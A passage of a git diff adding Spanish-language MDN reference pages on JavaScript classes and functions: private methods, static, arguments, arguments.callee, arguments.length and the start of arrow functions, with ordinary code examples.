+<p><font><font>Los métodos de instancia privada son métodos disponibles en instancias de clase cuyo acceso está restringido de la misma manera que los campos de instancia privada.</font></font></p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+  }
+
+  getPrivateMessage() {
+      return this.#privateMethod()
+  }
+}
+
+const instance = new ClassWithPrivateMethod()
+console.log(instance.getPrivateMessage())
+// expected output: "hello worl​d"</pre>
+
+<p><font><font>Los métodos de instancia privada pueden ser funciones generadoras, asíncronas o asíncronas. </font><font>Los getters y setters privados también son posibles:</font></font></p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateAccessor {
+  #message
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world'
+    console.log(this.#decoratedMessage)
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields">Public class fields</a></li>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/classes/static/index.html b/files/es/web/javascript/referencia/classes/static/index.html
new file mode 100644
index 0000000000..92f972f171
--- /dev/null
+++ b/files/es/web/javascript/referencia/classes/static/index.html
@@ -0,0 +1,118 @@
+---
+title: static
+slug: Web/JavaScript/Referencia/Classes/static
+translation_of: Web/JavaScript/Reference/Classes/static
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>La palabra clave <strong>static</strong> define un método estático para una clase.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">static methodName() { ... }</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los métodos estáticos son llamados sin instanciar su clase. Son habitualmente utilizados para crear funciones para una aplicación.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente ejemplo demuestra varias cosas. Una de ellas es cómo un método estático es implementado en una clase, otra es que una clase con un miembro estático puede ser sub-claseada. Finalmente demuestra cómo un método estático puede (y cómo no) ser llamado.</p>
+
+<pre class="brush: js">class Tripple {
+  static tripple(n) {
+    n = n || 1;
+    return n * 3;
+  }
+}
+
+class BiggerTripple extends Tripple {
+  static tripple(n) {
+    return super.tripple(n) * super.tripple(n);
+  }
+}
+
+console.log(Tripple.tripple());
+console.log(Tripple.tripple(6));
+console.log(BiggerTripple.tripple(3));
+var tp = new Tripple();
+console.log(tp.tripple()); //Logs 'tp.tripple is not a function'.</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>Available in the Nightly channel only (since February 2015)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>Available in the Nightly channel only (since February 2015)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/funciones/arguments/callee/index.html b/files/es/web/javascript/referencia/funciones/arguments/callee/index.html
new file mode 100644
index 0000000000..1902131055
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/arguments/callee/index.html
@@ -0,0 +1,48 @@
+---
+title: callee
+slug: Web/JavaScript/Referencia/Funciones/arguments/callee
+tags:
+  - JavaScript
+  - JavaScript Reference
+  - Referencia
+translation_of: Web/JavaScript/Reference/Functions/arguments/callee
+---
+<div>
+<div>{{jsSidebar("Functions")}}</div>
+</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Especifica la función que se está ejecutando actualmente.</p>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>callee</code> es una propiedad de la variable local <code>arguments</code> disponible dentro de todos los objetos function; <code>callee</code> como una propiedad de {{jsxref("Funciones/arguments", "Function.arguments")}} ya no se utiliza. (<code>Function.arguments</code> en sí mismo está también desaconsejado.)</p>
+
+<p><code>arguments.callee</code> permite a funciones anónimas referirse a ellas mismas, lo cual es necesario en funciones anónimas recursivas.</p>
+
+<p>La palabra clave <code>this</code> no se refiere a la función que se ejecuta actualmente. Use la propiedad <code>callee</code> para referirse a la función dentro del cuerpo de la función.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_arguments.callee_en_funciones_an.C3.B3nimas_recursivas" name="Ejemplo:_Usando_arguments.callee_en_funciones_an.C3.B3nimas_recursivas">Ejemplo: Usando <code>arguments.callee</code> en funciones anónimas recursivas</h3>
+
+<p>Una función recursiva debe ser capaz de referirse a sí misma. Típicamente, una función se refiere a sí misma por su nombre. Sin embargo, una función anónima no tiene nombre y por tanto es una variable de referencia para ella, es decir, si la función no está asignada a ninguna variable, la función no puede referirse a sí misma. (Se pueden crear funciones anónimas mediante una expresión {{jsxref("Operadores/function", "function")}} o el constructor {{jsxref("Function")}}.) Aquí es donde entra <code>arguments.callee</code>.</p>
+
+<p>El siguiente ejemplo define una función, la cuál, en cada turno, define y devuelve una función factorial.</p>
+
+<pre class="brush: js">function makeFactorialFunc() {
+   alert('making a factorial function!');
+   return function(x) {
+      if (x &lt;= 1)
+         return 1;
+      return x * arguments.callee(x - 1);
+   };
+}
+
+var result = makeFactorialFunc()(5); // returns 120 (5 * 4 * 3 * 2 * 1)
+</pre>
+
+<p><span class="comment">this example isn't very practical, but then again, there are few practical cases where arguments.callee is necessary, and most of the those cases involve closures</span></p>
+
+<p> </p>
diff --git a/files/es/web/javascript/referencia/funciones/arguments/index.html b/files/es/web/javascript/referencia/funciones/arguments/index.html
new file mode 100644
index 0000000000..ab768cff21
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/arguments/index.html
@@ -0,0 +1,229 @@
+---
+title: El objeto arguments
+slug: Web/JavaScript/Referencia/Funciones/arguments
+tags:
+  - Funciones
+  - JavaScript
+  - Namespace
+  - argumentos
+  - arguments
+  - espacio de nombres
+  - multiples
+translation_of: Web/JavaScript/Reference/Functions/arguments
+---
+<div>{{jsSidebar("Functions", "Funciones")}}</div>
+
+<p><strong><code>arguments</code></strong> es un objeto similar a <code>Array</code> accesible dentro de <a href="/es/docs/Web/JavaScript/Guide/Functions">funciones</a> que contiene los valores de los argumentos pasados a esa función.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}</div>
+
+<div class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Si estás escribiendo código compatible con ES6, entonces se deben preferir los {{jsxref("Functions/rest_parameters", "parámetros resto")}}.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: "similar a Array" significa que <code>arguments</code> tiene una propiedad {{jsxref("Functions/arguments/length", "lenght")}} y propiedades indexadas desde cero, pero no tiene métodos integrados de {{jsxref("Array")}} como {{jsxref("Array.forEach", "forEach()")}} o {{jsxref("Array.map", "map()")}}. Ve la <a href="#Descripción">§Descripción</a> para obtener más detalles.</p>
+</div>
+
+<p>El objeto <code>arguments</code> es una variable local disponible en todas las funciones que no son {{jsxref("Functions/Arrow_functions", "funciones flecha")}}. Puedes hacer referencia a los argumentos de una función dentro de esa función utilizando su objeto <code>arguments</code>. Tiene entradas para cada argumento con el que se llamó a la función, con el índice de la primera entrada en <code>0</code>.</p>
+
+<p>Por ejemplo, si a una función se le pasan 3 argumentos, puedes acceder a ellos de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">arguments[0] // primer argumento
+arguments[1] // segundo argumento
+arguments[2] // tercer argumento
+</pre>
+
+<p>También puedes establecer o reasignar cada argumento:</p>
+
+<pre class="brush: js notranslate">arguments[1] = 'new value';
+</pre>
+
+<p>El objeto <code>arguments</code> no es un {{jsxref("Array")}}. Es similar, pero carece de todas las propiedades de <code>Array</code> excepto de {{jsxref("Array.length", "length")}}. Por ejemplo, no tiene el método {{jsxref("Array.pop", "pop()")}}.</p>
+
+<p>Sin embargo, se puede convertir en un <code>Array</code> real:</p>
+
+<pre class="brush: js notranslate">var args = Array.prototype.slice.call(arguments);
+// El uso de un arreglo literal es más corto que el anterior pero asigna un arreglo vacío
+var args = [].slice.call(arguments);
+</pre>
+
+<p>Así como puedes hacer con cualquier objeto tipo <code>Array</code>, puedes usar el método {{jsxref("Array.from()")}} de ES2015 o la {{jsxref("Operators/Spread_syntax", "propagación de sintaxis")}} para convertir <code>arguments</code> en un arreglo real:</p>
+
+<pre class="brush: js notranslate">let args = Array.from(arguments);
+// o
+let args = [...arguments];
+</pre>
+
+<p>El objeto <code>arguments</code> es útil para funciones llamadas con más argumentos de los que declara aceptar formalmente. Esta técnica es útil para funciones a las que se les puede pasar un número variable de argumentos, como {{jsxref("Math.min()")}}. Esta función de ejemplo acepta cualquier número de argumentos de cadena y devuelve la más larga:</p>
+
+<pre class="brush: js notranslate">function longestString() {
+  var longest = '';
+  for (var i=0; i &lt; arguments.length; i++) {
+    if (arguments[i].length &gt; longest.length) {
+      longest = arguments[i];
+    }
+  }
+  return longest;
+}
+</pre>
+
+<p>Puedes usar {{jsxref("Functions/arguments/lenght", "arguments.length")}} para contar con cuántos argumentos se llamó a la función. Si, en cambio, deseas contar cuántos parámetros se declara que acepta una función, inspecciona la propiedad {{jsxref("Function.length", "length")}} de esa función.</p>
+
+<h3 id="Usar_typeof_con_arguments">Usar <code>typeof</code> con <code>arguments</code></h3>
+
+<p>El operador {{jsxref("Operators/typeof", "typeof")}} devuelve <code>'object'</code> cuando se usa con <code>arguments</code></p>
+
+<pre class="brush: js notranslate">console.log(typeof arguments); // 'object' </pre>
+
+<p>El tipo de argumentos individuales se puede determinar indexando <code>arguments</code>:</p>
+
+<pre class="notranslate">console.log(typeof arguments[0]); // devuelve el tipo del primer argumento</pre>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("Functions/arguments/callee", "arguments.callee")}}</dt>
+ <dd>Referencia a la función en ejecución a la que pertenecen los argumentos. Prohibida en modo estricto.</dd>
+ <dt>{{jsxref("Functions/arguments/length", "arguments.length")}}</dt>
+ <dd>El número de argumentos que se pasaron a la función.</dd>
+ <dt>{{jsxref("Functions/arguments/@@iterator", "arguments[@@iterator]")}}</dt>
+ <dd>Devuelve un nuevo objeto {{jsxref("Array/@@iterator", "Array iterator", "", 0)}} que contiene los valores de cada índice en <code>arguments</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Definición_de_una_función_que_concatena_varias_cadenas">Definición de una función que concatena varias cadenas</h3>
+
+<p>Este ejemplo define una función que concatena varias cadenas. El único argumento formal de la función es una cadena que contiene los caracteres que separan los elementos a concatenar.</p>
+
+<pre class="brush:js notranslate">function myConcat(separator) {
+  let args = Array.prototype.slice.call(arguments, 1);
+  return args.join(separator);
+}</pre>
+
+<p>Puedes pasar tantos argumentos como desees a esta función. Devuelve una lista de cadenas usando cada argumento en la lista:</p>
+
+<pre class="brush:js notranslate">// returns "red, orange, blue"
+myConcat(', ', 'red', 'orange', 'blue');
+
+// devuelve "elephant; giraffe; lion; cheetah"
+myConcat('; ', 'elephant', 'giraffe', 'lion', 'cheetah');
+
+// devuelve "sage. basil. oregano. pepper. parsley"
+myConcat('. ', 'sage', 'basil', 'oregano', 'pepper', 'parsley');</pre>
+
+<h3 id="Definición_de_una_función_que_crea_listas_HTML">Definición de una función que crea listas HTML</h3>
+
+<p>Este ejemplo define una función que crea una cadena que contiene HTML para una lista. El único argumento formal para la función es una cadena que es "<code>u</code>" si la lista debe estar {{htmlelement("ul", "desordenada (con viñetas)")}}, u "<code>o</code>" si la lista es {{htmlelement("ol", "ordenada (numerada)")}}. La función se define de la siguiente manera:</p>
+
+<pre class="brush:js notranslate">function list(type) {
+  var html = '&lt;' + type + 'l&gt;&lt;li&gt;';
+  var args = Array.prototype.slice.call(arguments, 1);
+  html += args.join('&lt;/li&gt;&lt;li&gt;');
+  html += '&lt;/li&gt;&lt;/' + type + 'l&gt;'; // fin de la lista
+  return html;
+}</pre>
+
+<p>Puedes pasar cualquier número de argumentos a esta función y agregar cada argumento como un elemento de lista a una lista del tipo indicado. Por ejemplo:</p>
+
+<pre class="brush:js notranslate">let listHTML = list('u', 'One', 'Two', 'Three');
+
+/* la listHTML es:
+"&lt;ul&gt;&lt;li&gt;One&lt;/li&gt;&lt;li&gt;Two&lt;/li&gt;&lt;li&gt;Three&lt;/li&gt;&lt;/ul&gt;"
+*/</pre>
+
+<h3 id="Parámetros_rest_predeterminados_y_desestructurados">Parámetros <code>rest</code>, predeterminados y desestructurados</h3>
+
+<div>
+<p>El objeto <code>arguments</code> se puede utilizar junto con parámetros {{jsxref("Functions/rest_parameters", "rest")}}, {{jsxref("Functions/Default_parameters", "predeterminados")}} y {{jsxref("Operators/Destructuring_assignment", "desestructurados")}}.</p>
+</div>
+
+<pre class="brush: js notranslate">function foo(...args) {
+  return args;
+}
+foo(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>Si bien la presencia de parámetros <code>rest</code>, predeterminados o desestructurados no altera <a href="/es/docs/Web/JavaScript/Reference/Strict_mode#Haciendo_eval_y_arguments_más_simples">el comportamiento del objeto <code>arguments</code> en el código de modo estricto</a>, existen sutiles diferencias para el código no estricto.</p>
+
+<p>En el código de modo estricto, el objeto <code>arguments</code> se comporta de la misma manera independientemente de que se pasen parámetros <code>rest</code>, predeterminados o desestructurados a una función. Es decir, asignar nuevos valores a las variables en el cuerpo de la función no afectará al objeto <code>arguments</code>. La asignación de nuevas variables al objeto <code>arguments</code> tampoco afectará el valor de las variables.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: No puedes escribir una directiva <code>"use strict";</code> en el cuerpo de una definición de función que acepte parámetros <code>rest</code>, predeterminados o desestructurados. Si lo haces, generará un {{jsxref("Errors/Strict_Non_Simple_Params", "error de sintaxis")}}.</p>
+</div>
+
+<p>Las funciones no estrictas a las que se les pasan solo parámetros simples (es decir, no parámetros <code>rest</code>, predeterminados o desestructurados) sincronizarán el valor de los nuevos valores de las variables en el cuerpo de la función con el objeto <code>arguments</code>, y viceversa:</p>
+
+<pre class="brush: js notranslate">function func(a) {
+  arguments[0] = 99; // actualiza arguments[0] además actualiza a
+  console.log(a);
+}
+func(10); // 99
+</pre>
+
+<p>Y también:</p>
+
+<pre class="brush: js notranslate">function func(a) {
+  a = 99; // la actualización también actualiza arguments[0]
+  console.log(arguments[0]);
+}
+func(10); // 99
+</pre>
+
+<p>Por el contrario, las funciones no estrictas a las que <strong>se les pasan</strong> parámetros <code>rest</code>, predeterminados o desestructurados <strong>no</strong> sincronizarán los nuevos valores asignados a las variables de los argumentos en el cuerpo de la función con el objeto <code>arguments</code>. En cambio, el objeto <code>arguments</code> en funciones no estrictas con parámetros complejos <strong>siempre</strong> reflejarán los valores pasados a la función cuando se invocó (este es el mismo comportamiento exhibido por todas las funciones en modo estricto, independientemente del tipo de variables que se le pasen):</p>
+
+<pre class="brush: js notranslate">function func(a = 55) {
+  arguments[0] = 99; // actualizar arguments[0] tampoco actualiza a
+  console.log(a);
+}
+func(10); // 10</pre>
+
+<p>Y también:</p>
+
+<pre class="brush: js notranslate">function func(a = 55) {
+  a = 99; // actualizar a tampoco actualiza arguments[0]
+  console.log(arguments[0]);
+}
+func(10); // 10
+</pre>
+
+<p>Y también:</p>
+
+<pre class="brush: js notranslate">// Un parámetro predeterminado sin seguimiento
+function func(a = 55) {
+  console.log(arguments[0]);
+}
+func(); // undefined</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Objectos arguments exóticos')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.functions.arguments")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Function", "Función")}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Parámetros resto")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/funciones/arguments/length/index.html b/files/es/web/javascript/referencia/funciones/arguments/length/index.html
new file mode 100644
index 0000000000..b1d7698194
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/arguments/length/index.html
@@ -0,0 +1,131 @@
+---
+title: arguments.length
+slug: Web/JavaScript/Referencia/Funciones/arguments/length
+tags:
+  - Funciones
+  - JavaScript
+  - Propiedades
+  - argumentos
+translation_of: Web/JavaScript/Reference/Functions/arguments/length
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>La propiedad <strong><code>arguments.length</code></strong> contiene el número de argumentos pasados a una función.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">arguments.length</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La propiedad arguments.length devuelve el número total de argumentos pasados a una función. Esto puede ser más o menos que el número de parametros definidos. (Véase {{jsxref("Function.length")}}).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_arguments.length">Usando <code>arguments.length</code></h3>
+
+<p>En este ejemplo definimos una función que puede sumar dos o más números.</p>
+
+<pre class="brush: js">function adder(base /*, n2, ... */) {
+  base = Number(base);
+  for (var i = 1; i &lt; arguments.length; i++) {
+    base += Number(arguments[i]);
+  }
+  return base;
+}
+</pre>
+
+<div class="note">
+<p>Tenga en cuenta la diferencia entre {{jsxref("Function.length")}} y arguments.length</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Function.length")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/funciones/arrow_functions/index.html b/files/es/web/javascript/referencia/funciones/arrow_functions/index.html
new file mode 100644
index 0000000000..6ea9a35595
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/arrow_functions/index.html
@@ -0,0 +1,530 @@
+---
+title: Funciones Flecha
+slug: Web/JavaScript/Referencia/Funciones/Arrow_functions
+tags:
+  - ECMAScript6
+  - Intermedio
+  - JavaScript
+  - Referencia
+  - función
+translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
+---
+<div>{{jsSidebar("Functions", "Funciones")}}</div>
+
+<p>Una <strong>expresión de función flecha</strong> es una alternativa compacta a una {{JSxRef("Operadores/function", "expresión de función")}} tradicional, pero es limitada y no se puede utilizar en todas las situaciones.</p>
+
+<p><strong>Diferencias y limitaciones:</strong></p>
+
+<ul>
+ <li>No tiene sus propios enlaces a {{JSxRef("Operadores/this", "this")}} o {{JSxRef("Operadores/super", "super")}} y no se debe usar como {{Glossary("Method", "métodos")}}.</li>
+ <li>No tiene {{JSxRef("Funciones/arguments", "argumentos")}} o palabras clave {{JSxRef("../Operadores/new.target", "new.target")}}.</li>
+ <li>No apta para los métodos {{JSxRef("Objetos_globales/Function/call", "call")}}, {{JSxRef("Objetos_globales/Function/apply", "apply")}} y {{JSxRef("Objetos_globales/Function/bind", "bind")}}, que generalmente se basan en establecer un {{Glossary("Scope", "ámbito o alcance")}}</li>
+ <li>No se puede utilizar como {{Glossary("constructor", "constructor")}}.</li>
+ <li>No se puede utilizar {{JSxRef("Operadores/yield", "yield")}} dentro de su cuerpo.</li>
+</ul>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-arrow.html")}}</p>
+
+<h3 id="Comparación_de_funciones_tradicionales_con_funciones_flecha">Comparación de funciones tradicionales con funciones flecha</h3>
+
+<p>Observa, paso a paso, la descomposición de una "función tradicional" hasta la "función flecha" más simple:<br>
+ <strong>Nota</strong>: Cada paso a lo largo del camino es una "función flecha" válida</p>
+
+<pre class="brush: js notranslate">// Función tradicional
+function (a){
+  return a + 100;
+}
+
+// Desglose de la función flecha
+
+// 1. Elimina la palabra "function" y coloca la flecha entre el argumento y el corchete de apertura.
+(a) =&gt; {
+  return a + 100;
+}
+
+// 2. Quita los corchetes del cuerpo y la palabra "return" — el return está implícito.
+(a) =&gt; a + 100;
+
+// 3. Suprime los paréntesis de los argumentos
+a =&gt; a + 100;</pre>
+
+<div class="blockIndicator note">
+<p>Como se muestra arriba, los { corchetes }, ( paréntesis ) y "return" son opcionales, pero pueden ser obligatorios.</p>
+</div>
+
+<p>Por ejemplo, si tienes <strong>varios argumentos</strong> o <strong>ningún argumento</strong>, deberás volver a introducir paréntesis alrededor de los argumentos:</p>
+
+<pre class="brush: js notranslate">// Función tradicional
+function (a, b){
+  return a + b + 100;
+}
+
+// Función flecha
+(a, b) =&gt; a + b + 100;
+
+// Función tradicional (sin argumentos)
+let a = 4;
+let b = 2;
+function (){
+  return a + b + 100;
+}
+
+// Función flecha (sin argumentos)
+let a = 4;
+let b = 2;
+() =&gt; a + b + 100;</pre>
+
+<p>Del mismo modo, si el cuerpo requiere <strong>líneas de procesamiento adicionales</strong>, deberás volver a introducir los corchetes <strong>Más el "return"</strong> (las funciones flecha no adivinan mágicamente qué o cuándo quieres "volver"):</p>
+
+<pre class="brush: js notranslate">// Función tradicional
+function (a, b){
+  let chuck = 42;
+  return a + b + chuck;
+}
+
+// Función flecha
+(a, b) =&gt; {
+  let chuck = 42;
+  return a + b + chuck;
+}</pre>
+
+<div>Y finalmente, en las <strong>funciones con nombre</strong> tratamos las expresiones de flecha como variables</div>
+
+<div>
+<pre class="brush: js notranslate">// Función tradicional
+function bob (a){
+  return a + 100;
+}
+
+// Función flecha
+let bob = a =&gt; a + 100;</pre>
+</div>
+
+<div></div>
+
+<div></div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Sintaxis_básica">Sintaxis básica</h3>
+
+<p class="syntaxbox notranslate">Un parámetro. Con una expresión simple no se necesita <code>return</code>:</p>
+
+<pre class="brush: js notranslate">param =&gt; expression</pre>
+
+<p class="syntaxbox notranslate">Varios parámetros requieren paréntesis. Con una expresión simple no se necesita <code>return</code>:</p>
+
+<pre class="brush: js notranslate">(param1, paramN) =&gt; expression</pre>
+
+<p class="syntaxbox notranslate">Las declaraciones de varias líneas requieren corchetes y <code>return</code>:</p>
+
+<pre class="brush: js notranslate">param =&gt; {
+  let a = 1;
+  return a + b;
+}</pre>
+
+<p class="syntaxbox notranslate">Varios parámetros requieren paréntesis. Las declaraciones de varias líneas requieren corchetes y <code>return</code>:</p>
+
+<pre class="brush: js notranslate">(param1, paramN) =&gt; {
+   let a = 1;
+   return a + b;
+}</pre>
+
+<h3 id="Sintaxis_avanzada">Sintaxis avanzada</h3>
+
+<p class="syntaxbox notranslate">Para devolver una expresión de objeto literal, se requieren paréntesis alrededor de la expresión:</p>
+
+<pre class="brush: js notranslate">params =&gt; ({foo: "a"}) // devuelve el objeto {foo: "a"}</pre>
+
+<p class="syntaxbox notranslate">Los {{JSxRef("Funciones/parametros_rest", "parámetros rest")}} son compatibles:</p>
+
+<pre class="brush: js notranslate">(a, b, ...r) =&gt; expression</pre>
+
+<p class="syntaxbox notranslate">Se admiten los {{JSxRef("Funciones/Parametros_por_defecto", "parámetros predeterminados")}}:</p>
+
+<pre class="brush: js notranslate">(a=400, b=20, c) =&gt; expression</pre>
+
+<p class="brush: js">{{JSxRef("Operadores/Destructuring_assignment", "Desestructuración")}} dentro de los parámetros admitidos:</p>
+
+<pre class="brush: js notranslate">([a, b] = [10, 20]) =&gt; a + b;  // el resultado es 30
+({ a, b } = { a: 10, b: 20 }) =&gt; a + b; // resultado es 30
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Consulta también <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 en profundidad: funciones flecha" en hacks.mozilla.org</a>.</p>
+
+<h3 id="this_y_funciones_flecha">"<code>this</code>" y funciones flecha</h3>
+
+<p class="brush: js notranslate">Una de las razones por las que se introdujeron las funciones flecha fue para eliminar complejidades del ámbito ({{JSxRef("Operadores/this", "this")}}) y hacer que la ejecución de funciones sea mucho más intuitiva.</p>
+
+<div class="blockIndicator note">
